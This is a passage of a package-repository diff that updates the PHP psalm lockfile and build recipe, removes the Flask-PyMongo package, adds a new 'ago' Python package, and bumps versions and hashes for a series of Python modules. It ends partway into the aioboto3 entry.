+1839,11 @@ "symfony/translation-contracts": "<2.5" }, "require-dev": { - "symfony/error-handler": "^5.4|^6.0", - "symfony/http-client": "^5.4|^6.0", - "symfony/intl": "^6.2", + "symfony/error-handler": "^5.4|^6.0|^7.0", + "symfony/http-client": "^5.4|^6.0|^7.0", + "symfony/intl": "^6.2|^7.0", "symfony/translation-contracts": "^2.5|^3.0", - "symfony/var-exporter": "^5.4|^6.0" + "symfony/var-exporter": "^5.4|^6.0|^7.0" }, "type": "library", "autoload": { @@ -1890,7 +1882,7 @@ "utf8" ], "support": { - "source": "https://github.com/symfony/string/tree/v6.3.5" + "source": "https://github.com/symfony/string/tree/v6.4.4" }, "funding": [ { @@ -1906,7 +1898,7 @@ "type": "tidelift" } ], - "time": "2023-09-18T10:38:32+00:00" + "time": "2024-02-01T13:16:41+00:00" }, { "name": "webmozart/assert", @@ -2083,16 +2075,16 @@ }, { "name": "brianium/paratest", - "version": "v6.10.1", + "version": "v6.11.0", "source": { "type": "git", "url": "https://github.com/paratestphp/paratest.git", - "reference": "d6f32a91302b74458e8ef5d132bb2215a5edb34b" + "reference": "8083a421cee7dad847ee7c464529043ba30de380" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/paratestphp/paratest/zipball/d6f32a91302b74458e8ef5d132bb2215a5edb34b", - "reference": "d6f32a91302b74458e8ef5d132bb2215a5edb34b", + "url": "https://api.github.com/repos/paratestphp/paratest/zipball/8083a421cee7dad847ee7c464529043ba30de380", + "reference": "8083a421cee7dad847ee7c464529043ba30de380", "shasum": "" }, "require": { @@ -2100,7 +2092,7 @@ "ext-pcre": "*", "ext-reflection": "*", "ext-simplexml": "*", - "fidry/cpu-core-counter": "^0.4.1 || ^0.5.1", + "fidry/cpu-core-counter": "^0.4.1 || ^0.5.1 || ^1.0.0", "jean85/pretty-package-versions": "^2.0.5", "php": "^7.3 || ^8.0", "phpunit/php-code-coverage": "^9.2.25", @@ -2108,16 +2100,16 @@ "phpunit/php-timer": "^5.0.3", "phpunit/phpunit": "^9.6.4", "sebastian/environment": "^5.1.5", - "symfony/console": "^5.4.21 || ^6.2.7", - "symfony/process": "^5.4.21 || ^6.2.7" + "symfony/console": "^5.4.28 || ^6.3.4 || ^7.0.0", + "symfony/process": "^5.4.28 || ^6.3.4 || ^7.0.0" }, "require-dev": { - "doctrine/coding-standard": "^10.0.0", + "doctrine/coding-standard": "^12.0.0", "ext-pcov": "*", "ext-posix": "*", - "infection/infection": "^0.26.19", + "infection/infection": "^0.27.6", "squizlabs/php_codesniffer": "^3.7.2", - "symfony/filesystem": "^5.4.21 || ^6.2.7", + "symfony/filesystem": "^5.4.25 || ^6.3.1 || ^7.0.0", "vimeo/psalm": "^5.7.7" }, "bin": [ @@ -2159,7 +2151,7 @@ ], "support": { "issues": "https://github.com/paratestphp/paratest/issues", - "source": "https://github.com/paratestphp/paratest/tree/v6.10.1" + "source": "https://github.com/paratestphp/paratest/tree/v6.11.0" }, "funding": [ { @@ -2171,7 +2163,7 @@ "type": "paypal" } ], - "time": "2023-10-04T13:33:07+00:00" + "time": "2023-10-31T09:13:57+00:00" }, { "name": "composer/package-versions-deprecated", @@ -2326,16 +2318,16 @@ }, { "name": "dg/bypass-finals", - "version": "v1.5.1", + "version": "v1.6.0", "source": { "type": "git", "url": "https://github.com/dg/bypass-finals.git", - "reference": "12ef25e1f8d4144e4ec80d13a28895e8942f4104" + "reference": "efe2fe04bae9f0de271dd462afc049067889e6d1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/dg/bypass-finals/zipball/12ef25e1f8d4144e4ec80d13a28895e8942f4104", - "reference": "12ef25e1f8d4144e4ec80d13a28895e8942f4104", + "url": "https://api.github.com/repos/dg/bypass-finals/zipball/efe2fe04bae9f0de271dd462afc049067889e6d1", + "reference": "efe2fe04bae9f0de271dd462afc049067889e6d1", "shasum": "" }, "require": { @@ -2373,9 +2365,9 @@ ], "support": { "issues": "https://github.com/dg/bypass-finals/issues", - "source": "https://github.com/dg/bypass-finals/tree/v1.5.1" + "source": "https://github.com/dg/bypass-finals/tree/v1.6.0" }, - "time": "2023-09-16T09:13:54+00:00" + "time": "2023-11-19T22:19:30+00:00" }, { "name": "doctrine/instantiator", @@ -2559,16 +2551,16 @@ }, { "name": "mockery/mockery", - "version": "1.6.6", + "version": "1.6.7", "source": { "type": "git", "url": "https://github.com/mockery/mockery.git", - "reference": "b8e0bb7d8c604046539c1115994632c74dcb361e" + "reference": "0cc058854b3195ba21dc6b1f7b1f60f4ef3a9c06" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/mockery/mockery/zipball/b8e0bb7d8c604046539c1115994632c74dcb361e", - "reference": "b8e0bb7d8c604046539c1115994632c74dcb361e", + "url": "https://api.github.com/repos/mockery/mockery/zipball/0cc058854b3195ba21dc6b1f7b1f60f4ef3a9c06", + "reference": "0cc058854b3195ba21dc6b1f7b1f60f4ef3a9c06", "shasum": "" }, "require": { @@ -2581,9 +2573,7 @@ }, "require-dev": { "phpunit/phpunit": "^8.5 || ^9.6.10", - "psalm/plugin-phpunit": "^0.18.4", - "symplify/easy-coding-standard": "^11.5.0", - "vimeo/psalm": "^4.30" + "symplify/easy-coding-standard": "^12.0.8" }, "type": "library", "autoload": { @@ -2640,7 +2630,7 @@ "security": "https://github.com/mockery/mockery/security/advisories", "source": "https://github.com/mockery/mockery" }, - "time": "2023-08-09T00:03:52+00:00" + "time": "2023-12-10T02:24:34+00:00" }, { "name": "myclabs/deep-copy", @@ -2944,23 +2934,23 @@ }, { "name": "phpunit/php-code-coverage", - "version": "9.2.29", + "version": "9.2.30", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-code-coverage.git", - "reference": "6a3a87ac2bbe33b25042753df8195ba4aa534c76" + "reference": "ca2bd87d2f9215904682a9cb9bb37dda98e76089" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/6a3a87ac2bbe33b25042753df8195ba4aa534c76", - "reference": "6a3a87ac2bbe33b25042753df8195ba4aa534c76", + "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/ca2bd87d2f9215904682a9cb9bb37dda98e76089", + "reference": "ca2bd87d2f9215904682a9cb9bb37dda98e76089", "shasum": "" }, "require": { "ext-dom": "*", "ext-libxml": "*", "ext-xmlwriter": "*", - "nikic/php-parser": "^4.15", + "nikic/php-parser": "^4.18 || ^5.0", "php": ">=7.3", "phpunit/php-file-iterator": "^3.0.3", "phpunit/php-text-template": "^2.0.2", @@ -3010,7 +3000,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", - "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/9.2.29" + "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/9.2.30" }, "funding": [ { @@ -3018,7 +3008,7 @@ "type": "github" } ], - "time": "2023-09-19T04:57:46+00:00" + "time": "2023-12-22T06:47:57+00:00" }, { "name": "phpunit/php-file-iterator", @@ -3263,16 +3253,16 @@ }, { "name": "phpunit/phpunit", - "version": "9.6.13", + "version": "9.6.17", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/phpunit.git", - "reference": "f3d767f7f9e191eab4189abe41ab37797e30b1be" + "reference": "1a156980d78a6666721b7e8e8502fe210b587fcd" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/f3d767f7f9e191eab4189abe41ab37797e30b1be", - "reference": "f3d767f7f9e191eab4189abe41ab37797e30b1be", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/1a156980d78a6666721b7e8e8502fe210b587fcd", + "reference": "1a156980d78a6666721b7e8e8502fe210b587fcd", "shasum": "" }, "require": { @@ -3346,7 +3336,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/phpunit/issues", "security": "https://github.com/sebastianbergmann/phpunit/security/policy", - "source": "https://github.com/sebastianbergmann/phpunit/tree/9.6.13" + "source": "https://github.com/sebastianbergmann/phpunit/tree/9.6.17" }, "funding": [ { @@ -3362,7 +3352,7 @@ "type": "tidelift" } ], - "time": "2023-09-19T05:39:22+00:00" + "time": "2024-02-23T13:14:51+00:00" }, { "name": "psalm/plugin-mockery", @@ -3724,20 +3714,20 @@ }, { "name": "sebastian/complexity", - "version": "2.0.2", + "version": "2.0.3", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/complexity.git", - "reference": "739b35e53379900cc9ac327b2147867b8b6efd88" + "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/739b35e53379900cc9ac327b2147867b8b6efd88", - "reference": "739b35e53379900cc9ac327b2147867b8b6efd88", + "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/25f207c40d62b8b7aa32f5ab026c53561964053a", + "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a", "shasum": "" }, "require": { - "nikic/php-parser": "^4.7", + "nikic/php-parser": "^4.18 || ^5.0", "php": ">=7.3" }, "require-dev": { @@ -3769,7 +3759,7 @@ "homepage": "https://github.com/sebastianbergmann/complexity", "support": { "issues": "https://github.com/sebastianbergmann/complexity/issues", - "source": "https://github.com/sebastianbergmann/complexity/tree/2.0.2" + "source": "https://github.com/sebastianbergmann/complexity/tree/2.0.3" }, "funding": [ { @@ -3777,7 +3767,7 @@ "type": "github" } ], - "time": "2020-10-26T15:52:27+00:00" + "time": "2023-12-22T06:19:30+00:00" }, { "name": "sebastian/environment", @@ -3985,20 +3975,20 @@ }, { "name": "sebastian/lines-of-code", - "version": "1.0.3", + "version": "1.0.4", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/lines-of-code.git", - "reference": "c1c2e997aa3146983ed888ad08b15470a2e22ecc" + "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/c1c2e997aa3146983ed888ad08b15470a2e22ecc", - "reference": "c1c2e997aa3146983ed888ad08b15470a2e22ecc", + "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/e1e4a170560925c26d424b6a03aed157e7dcc5c5", + "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5", "shasum": "" }, "require": { - "nikic/php-parser": "^4.6", + "nikic/php-parser": "^4.18 || ^5.0", "php": ">=7.3" }, "require-dev": { @@ -4030,7 +4020,7 @@ "homepage": "https://github.com/sebastianbergmann/lines-of-code", "support": { "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", - "source": "https://github.com/sebastianbergmann/lines-of-code/tree/1.0.3" + "source": "https://github.com/sebastianbergmann/lines-of-code/tree/1.0.4" }, "funding": [ { @@ -4038,7 +4028,7 @@ "type": "github" } ], - "time": "2020-11-28T06:42:11+00:00" + "time": "2023-12-22T06:20:34+00:00" }, { "name": "sebastian/object-enumerator", @@ -4381,32 +4371,32 @@ }, { "name": "slevomat/coding-standard", - "version": "8.13.4", + "version": "8.14.1", "source": { "type": "git", "url": "https://github.com/slevomat/coding-standard.git", - "reference": "4b2af2fb17773656d02fbfb5d18024ebd19fe322" + "reference": "fea1fd6f137cc84f9cba0ae30d549615dbc6a926" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/slevomat/coding-standard/zipball/4b2af2fb17773656d02fbfb5d18024ebd19fe322", - "reference": "4b2af2fb17773656d02fbfb5d18024ebd19fe322", + "url": "https://api.github.com/repos/slevomat/coding-standard/zipball/fea1fd6f137cc84f9cba0ae30d549615dbc6a926", + "reference": "fea1fd6f137cc84f9cba0ae30d549615dbc6a926", "shasum": "" }, "require": { "dealerdirect/phpcodesniffer-composer-installer": "^0.6.2 || ^0.7 || ^1.0", "php": "^7.2 || ^8.0", - "phpstan/phpdoc-parser": "^1.23.0", + "phpstan/phpdoc-parser": "^1.23.1", "squizlabs/php_codesniffer": "^3.7.1" }, "require-dev": { "phing/phing": "2.17.4", "php-parallel-lint/php-parallel-lint": "1.3.2", - "phpstan/phpstan": "1.10.26", - "phpstan/phpstan-deprecation-rules": "1.1.3", - "phpstan/phpstan-phpunit": "1.3.13", + "phpstan/phpstan": "1.10.37", + "phpstan/phpstan-deprecation-rules": "1.1.4", + "phpstan/phpstan-phpunit": "1.3.14", "phpstan/phpstan-strict-rules": "1.5.1", - "phpunit/phpunit": "7.5.20|8.5.21|9.6.8|10.2.6" + "phpunit/phpunit": "8.5.21|9.6.8|10.3.5" }, "type": "phpcodesniffer-standard", "extra": { @@ -4430,7 +4420,7 @@ ], "support": { "issues": "https://github.com/slevomat/coding-standard/issues", - "source": "https://github.com/slevomat/coding-standard/tree/8.13.4" + "source": "https://github.com/slevomat/coding-standard/tree/8.14.1" }, "funding": [ { @@ -4442,20 +4432,20 @@ "type": "tidelift" } ], - "time": "2023-07-25T10:28:55+00:00" + "time": "2023-10-08T07:28:08+00:00" }, { "name": "squizlabs/php_codesniffer", - "version": "3.7.2", + "version": "3.9.0", "source": { "type": "git", - "url": "https://github.com/squizlabs/PHP_CodeSniffer.git", - "reference": "ed8e00df0a83aa96acf703f8c2979ff33341f879" + "url": "https://github.com/PHPCSStandards/PHP_CodeSniffer.git", + "reference": "d63cee4890a8afaf86a22e51ad4d97c91dd4579b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/squizlabs/PHP_CodeSniffer/zipball/ed8e00df0a83aa96acf703f8c2979ff33341f879", - "reference": "ed8e00df0a83aa96acf703f8c2979ff33341f879", + "url": "https://api.github.com/repos/PHPCSStandards/PHP_CodeSniffer/zipball/d63cee4890a8afaf86a22e51ad4d97c91dd4579b", + "reference": "d63cee4890a8afaf86a22e51ad4d97c91dd4579b", "shasum": "" }, "require": { @@ -4465,11 +4455,11 @@ "php": ">=5.4.0" }, "require-dev": { - "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0" + "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.3.4" }, "bin": [ - "bin/phpcs", - "bin/phpcbf" + "bin/phpcbf", + "bin/phpcs" ], "type": "library", "extra": { @@ -4484,35 +4474,58 @@ "authors": [ { "name": "Greg Sherwood", - "role": "lead" + "role": "Former lead" + }, + { + "name": "Juliette Reinders Folmer", + "role": "Current lead" + }, + { + "name": "Contributors", + "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer/graphs/contributors" } ], "description": "PHP_CodeSniffer tokenizes PHP, JavaScript and CSS files and detects violations of a defined set of coding standards.", - "homepage": "https://github.com/squizlabs/PHP_CodeSniffer", + "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer", "keywords": [ "phpcs", "standards", "static analysis" ], "support": { - "issues": "https://github.com/squizlabs/PHP_CodeSniffer/issues", - "source": "https://github.com/squizlabs/PHP_CodeSniffer", - "wiki": "https://github.com/squizlabs/PHP_CodeSniffer/wiki" + "issues": "https://github.com/PHPCSStandards/PHP_CodeSniffer/issues", + "security": "https://github.com/PHPCSStandards/PHP_CodeSniffer/security/policy", + "source": "https://github.com/PHPCSStandards/PHP_CodeSniffer", + "wiki": "https://github.com/PHPCSStandards/PHP_CodeSniffer/wiki" }, - "time": "2023-02-22T23:07:41+00:00" + "funding": [ + { + "url": "https://github.com/PHPCSStandards", + "type": "github" + }, + { + "url": "https://github.com/jrfnl", + "type": "github" + }, + { + "url": "https://opencollective.com/php_codesniffer", + "type": "open_collective" + } + ], + "time": "2024-02-16T15:06:51+00:00" }, { "name": "symfony/process", - "version": "v6.3.4", + "version": "v6.4.4", "source": { "type": "git", "url": "https://github.com/symfony/process.git", - "reference": "0b5c29118f2e980d455d2e34a5659f4579847c54" + "reference": "710e27879e9be3395de2b98da3f52a946039f297" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/process/zipball/0b5c29118f2e980d455d2e34a5659f4579847c54", - "reference": "0b5c29118f2e980d455d2e34a5659f4579847c54", + "url": "https://api.github.com/repos/symfony/process/zipball/710e27879e9be3395de2b98da3f52a946039f297", + "reference": "710e27879e9be3395de2b98da3f52a946039f297", "shasum": "" }, "require": { @@ -4544,7 +4557,7 @@ "description": "Executes commands in sub-processes", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/process/tree/v6.3.4" + "source": "https://github.com/symfony/process/tree/v6.4.4" }, "funding": [ { @@ -4560,20 +4573,20 @@ "type": "tidelift" } ], - "time": "2023-08-07T10:39:22+00:00" + "time": "2024-02-20T12:31:00+00:00" }, { "name": "theseer/tokenizer", - "version": "1.2.1", + "version": "1.2.2", "source": { "type": "git", "url": "https://github.com/theseer/tokenizer.git", - "reference": "34a41e998c2183e22995f158c581e7b5e755ab9e" + "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/theseer/tokenizer/zipball/34a41e998c2183e22995f158c581e7b5e755ab9e", - "reference": "34a41e998c2183e22995f158c581e7b5e755ab9e", + "url": "https://api.github.com/repos/theseer/tokenizer/zipball/b2ad5003ca10d4ee50a12da31de12a5774ba6b96", + "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96", "shasum": "" }, "require": { @@ -4602,7 +4615,7 @@ "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", "support": { "issues": "https://github.com/theseer/tokenizer/issues", - "source": "https://github.com/theseer/tokenizer/tree/1.2.1" + "source": "https://github.com/theseer/tokenizer/tree/1.2.2" }, "funding": [ { @@ -4610,7 +4623,7 @@ "type": "github" } ], - "time": "2021-07-28T10:34:58+00:00" + "time": "2023-11-20T00:12:19+00:00" } ], "aliases": [], diff --git a/pkgs/development/php-packages/psalm/default.nix b/pkgs/development/php-packages/psalm/default.nix index 5463fec0d5411..b20bbbf301c6c 100644 --- a/pkgs/development/php-packages/psalm/default.nix +++ b/pkgs/development/php-packages/psalm/default.nix @@ -1,19 +1,23 @@ -{ lib, fetchgit, php }: +{ lib +, fetchFromGitHub +, php +}: php.buildComposerProject (finalAttrs: { pname = "psalm"; - version = "5.15.0"; + version = "5.22.2"; - src = fetchgit { - url = "https://github.com/vimeo/psalm.git"; + src = fetchFromGitHub { + owner = "vimeo"; + repo = "psalm"; rev = finalAttrs.version; - hash = "sha256-rRExT82+IwgVo7pL3rrTjW/qj/MJf4m4L3PywaeSHYU="; + hash = "sha256-M8Ds3PQGphK8lQciWNdxWkMN35q8vdaNTWTrP1WXTeg="; }; - # TODO: Open a PR against https://github.com/vimeo/psalm # Missing `composer.lock` from the repository. + # Issue open at https://github.com/vimeo/psalm/issues/10446 composerLock = ./composer.lock; - vendorHash = "sha256-Vho1ri/Qm2SYeXB9ZoXvH1vB/eSBwHnAT/pI4jjUYhU="; + vendorHash = "sha256-AgvAaHcCYosS3yRrp9EFdqTjg6NzQRCr8ELSza9DvZ8="; meta = { changelog = "https://github.com/vimeo/psalm/releases/tag/${finalAttrs.version}"; diff --git a/pkgs/development/python-modules/Flask-PyMongo/default.nix b/pkgs/development/python-modules/Flask-PyMongo/default.nix deleted file mode 100644 index bbbdc29d45f15..0000000000000 --- a/pkgs/development/python-modules/Flask-PyMongo/default.nix +++ /dev/null @@ -1,36 +0,0 @@ -{ buildPythonPackage -, fetchPypi -, flask -, pymongo -, vcversioner -, lib -, pytest -}: - -buildPythonPackage rec { - pname = "flask-pymongo"; - version = "2.3.0"; - - src = fetchPypi { - pname = "Flask-PyMongo"; - inherit version; - sha256 = "051kwdk07y4xm4yawcjhn6bz8swxp9nanv7jj35mz2l0r0nv03k2"; - }; - - nativeCheckInputs = [ pytest ]; - - checkPhase = '' - pytest - ''; - - # Tests seem to hang - doCheck = false; - - propagatedBuildInputs = [ flask pymongo vcversioner ]; - - meta = { - homepage = "https://flask-pymongo.readthedocs.org/"; - description = "PyMongo support for Flask applications"; - license = lib.licenses.bsd2; - }; -} diff --git a/pkgs/development/python-modules/a2wsgi/default.nix b/pkgs/development/python-modules/a2wsgi/default.nix index 9f798a03edd61..dc19f1506958f 100644 --- a/pkgs/development/python-modules/a2wsgi/default.nix +++ b/pkgs/development/python-modules/a2wsgi/default.nix @@ -10,12 +10,12 @@ buildPythonPackage rec { pname = "a2wsgi"; - version = "1.10.0"; - format = "pyproject"; + version = "1.10.2"; + pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-yA7qK3Uu2kEhbGRbgqQ6YvYAbGM27zGn2xQDOZ7ffBY="; + hash = "sha256-RrLKQnz5rVOMFF4y6zaFfhy/R3ty/h7Q49NemMBgYbk="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/accelerate/default.nix b/pkgs/development/python-modules/accelerate/default.nix index f9a7be69f5618..f4b17bbd5df2f 100644 --- a/pkgs/development/python-modules/accelerate/default.nix +++ b/pkgs/development/python-modules/accelerate/default.nix @@ -2,8 +2,6 @@ , lib , buildPythonPackage , fetchFromGitHub -, fetchpatch -, pythonAtLeast , pythonOlder , pytestCheckHook , setuptools @@ -13,6 +11,8 @@ , pyyaml , safetensors , torch +, config +, cudatoolkit , evaluate , parameterized , transformers @@ -52,6 +52,8 @@ buildPythonPackage rec { preCheck = '' export HOME=$(mktemp -d) export PATH=$out/bin:$PATH + '' + lib.optionalString config.cudaSupport '' + export TRITON_PTXAS_PATH="${cudatoolkit}/bin/ptxas" ''; pytestFlagsArray = [ "tests" ]; disabledTests = [ @@ -74,6 +76,9 @@ buildPythonPackage rec { ] ++ lib.optionals (stdenv.isLinux && stdenv.isAarch64) [ # usual aarch64-linux RuntimeError: DataLoader worker (pid(s) <...>) exited unexpectedly "CheckpointTest" + ] ++ lib.optionals (!config.cudaSupport) [ + # requires ptxas from cudatoolkit, which is unfree + "test_dynamo_extract_model" ] ++ lib.optionals (stdenv.isDarwin && stdenv.isx86_64) [ # RuntimeError: torch_shm_manager: execl failed: Permission denied "CheckpointTest" diff --git a/pkgs/development/python-modules/acquire/default.nix b/pkgs/development/python-modules/acquire/default.nix index c2c4e125e3287..555a60412bf45 100644 --- a/pkgs/development/python-modules/acquire/default.nix +++ b/pkgs/development/python-modules/acquire/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "acquire"; - version = "3.12"; + version = "3.13"; pyproject = true; disabled = pythonOlder "3.9"; @@ -26,7 +26,7 @@ buildPythonPackage rec { owner = "fox-it"; repo = "acquire"; rev = "refs/tags/${version}"; - hash = "sha256-anRNCnLDKHAEfOWi6m1n4R9lvFTlZgw5xxh39exvzH0="; + hash = "sha256-Z85bHM3MtS2MLX9BaKi8VqA13QjO9KdrgqhuyBzjILQ="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/adafruit-platformdetect/default.nix b/pkgs/development/python-modules/adafruit-platformdetect/default.nix index baecca21fd5e5..bee4d68d5d738 100644 --- a/pkgs/development/python-modules/adafruit-platformdetect/default.nix +++ b/pkgs/development/python-modules/adafruit-platformdetect/default.nix @@ -7,7 +7,7 @@ buildPythonPackage rec { pname = "adafruit-platformdetect"; - version = "3.60.0"; + version = "3.62.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -15,7 +15,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "Adafruit-PlatformDetect"; inherit version; - hash = "sha256-ZE3rETwAuhv7pHA/zYDKtStWONShFG8tWDeN9K8JdG8="; + hash = "sha256-L2CbqWqyOo4mq+KsO8FYAyHClRKFXMLWWtfYEg0SD34="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/aemet-opendata/default.nix b/pkgs/development/python-modules/aemet-opendata/default.nix index 6960b390ed033..dcf232247be9e 100644 --- a/pkgs/development/python-modules/aemet-opendata/default.nix +++ b/pkgs/development/python-modules/aemet-opendata/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "aemet-opendata"; - version = "0.4.7"; + version = "0.5.1"; format = "pyproject"; disabled = pythonOlder "3.11"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "Noltari"; repo = "AEMET-OpenData"; rev = "refs/tags/${version}"; - hash = "sha256-kmU2HtNyYhfwWQv6asOtDpLZ6+O+eEICzBNLxUhAwaY="; + hash = "sha256-qj1rXM3yHYDQhtOkHfKEGS2ICjN7B2olD4og3uISjcw="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/agate-dbf/default.nix b/pkgs/development/python-modules/agate-dbf/default.nix index 5205734d4da52..1f3055b4600dd 100644 --- a/pkgs/development/python-modules/agate-dbf/default.nix +++ b/pkgs/development/python-modules/agate-dbf/default.nix @@ -2,14 +2,14 @@ buildPythonPackage rec { pname = "agate-dbf"; - version = "0.2.2"; + version = "0.2.3"; format = "setuptools"; propagatedBuildInputs = [ agate dbf dbfread ]; src = fetchPypi { inherit pname version; - sha256 = "589682b78c5c03f2dc8511e6e3edb659fb7336cd118e248896bb0b44c2f1917b"; + sha256 = "sha256-mKK1N1cTbMdNwpflniEB009tSPQfdBVrtsDeJruiqj8="; }; meta = with lib; { diff --git a/pkgs/development/python-modules/ago/default.nix b/pkgs/development/python-modules/ago/default.nix new file mode 100644 index 0000000000000..ad095c441db26 --- /dev/null +++ b/pkgs/development/python-modules/ago/default.nix @@ -0,0 +1,40 @@ +{ lib +, buildPythonPackage +, fetchPypi + +, pythonOlder + +, pytestCheckHook + +, setuptools +}: + +buildPythonPackage rec { + pname = "ago"; + version = "0.0.95"; + pyproject = true; + + disabled = pythonOlder "3.3"; + + src = fetchPypi { + inherit pname version; + hash = "sha256-0gEPXqw99UTsSOwRYQLgaFkaNFsaWA8ylz24pQX8p0Q="; + }; + + build-system = [ + setuptools + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ "ago" ]; + + meta = with lib; { + description = "Human Readable Time Deltas"; + homepage = "https://git.unturf.com/python/ago"; + license = licenses.publicDomain; + maintainers = with maintainers; [ vizid ]; + }; +} diff --git a/pkgs/development/python-modules/aioairzone-cloud/default.nix b/pkgs/development/python-modules/aioairzone-cloud/default.nix index dab1e05180f91..f2ab45f2ddbc1 100644 --- a/pkgs/development/python-modules/aioairzone-cloud/default.nix +++ b/pkgs/development/python-modules/aioairzone-cloud/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "aioairzone-cloud"; - version = "0.3.8"; + version = "0.4.6"; pyproject = true; disabled = pythonOlder "3.7"; @@ -17,7 +17,7 @@ buildPythonPackage rec { owner = "Noltari"; repo = "aioairzone-cloud"; rev = "refs/tags/${version}"; - hash = "sha256-h9WUHehTXg73qqpw+sMxoQMzOV+io2GvjwXlr4gF2ns="; + hash = "sha256-EcvHwBSHjKvPqwGCPPpannuSZcDI2Lt2hT5NSgkwfq8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/aioairzone/default.nix b/pkgs/development/python-modules/aioairzone/default.nix index c760300d79772..905232c065a36 100644 --- a/pkgs/development/python-modules/aioairzone/default.nix +++ b/pkgs/development/python-modules/aioairzone/default.nix @@ -8,16 +8,16 @@ buildPythonPackage rec { pname = "aioairzone"; - version = "0.7.2"; - format = "pyproject"; + version = "0.7.6"; + pyproject = true; disabled = pythonOlder "3.11"; src = fetchFromGitHub { owner = "Noltari"; - repo = pname; + repo = "aioairzone"; rev = "refs/tags/${version}"; - hash = "sha256-ppzusDyGTh2HnDFjqXClyHzjK/TFKvGOWg5Nb2fDGnc="; + hash = "sha256-99Km1zizAA0BF4ZlLmKOBoOQzKS/QdWpWC9dzg2s3lU="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/aioapcaccess/default.nix b/pkgs/development/python-modules/aioapcaccess/default.nix index 3733248482224..6d6c709552519 100644 --- a/pkgs/development/python-modules/aioapcaccess/default.nix +++ b/pkgs/development/python-modules/aioapcaccess/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "aioapcaccess"; - version = "0.4.2"; + version = "0.5.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "yuxincs"; repo = "aioapcaccess"; rev = "refs/tags/v${version}"; - hash = "sha256-Ig9aQduM9wby3DzPjvbubihopwhdMXHovMo3Id47mRk="; + hash = "sha256-nI8hfHfSLMOKPcG5idYqqa/msJuR/Xt+JmgzdftlN28="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/aioautomower/default.nix b/pkgs/development/python-modules/aioautomower/default.nix index 239d8ba1e7dd6..486781c4c97d8 100644 --- a/pkgs/development/python-modules/aioautomower/default.nix +++ b/pkgs/development/python-modules/aioautomower/default.nix @@ -9,11 +9,12 @@ , pytestCheckHook , pythonOlder , setuptools +, syrupy }: buildPythonPackage rec { pname = "aioautomower"; - version = "2024.2.4"; + version = "2024.2.10"; pyproject = true; disabled = pythonOlder "3.11"; @@ -22,7 +23,7 @@ buildPythonPackage rec { owner = "Thomas55555"; repo = "aioautomower"; rev = "refs/tags/${version}"; - hash = "sha256-bgNfV87rHMbNGy8azCS0b6PgkalY2RrbSW2VtjtgPrw="; + hash = "sha256-NRcLyuU5FFIKJALUrx5iVSihzgO6ljqaqlhbs+y2E4Q="; }; postPatch = '' @@ -45,12 +46,22 @@ buildPythonPackage rec { nativeCheckInputs = [ pytest-asyncio pytestCheckHook + syrupy ]; pythonImportsCheck = [ "aioautomower" ]; + pytestFlagsArray = [ + "--snapshot-update" + ]; + + disabledTests = [ + # File is missing + "test_standard_mower" + ]; + meta = with lib; { description = "Module to communicate with the Automower Connect API"; homepage = "https://github.com/Thomas55555/aioautomower"; diff --git a/pkgs/development/python-modules/aioboto3/default.nix b/pkgs/development/python-modules/aioboto3/default.nix index 231e4bbbe8b2b..6b0f79655717e 100644 --- a/pkgs/development/python-modules/aioboto3/default.nix +++ 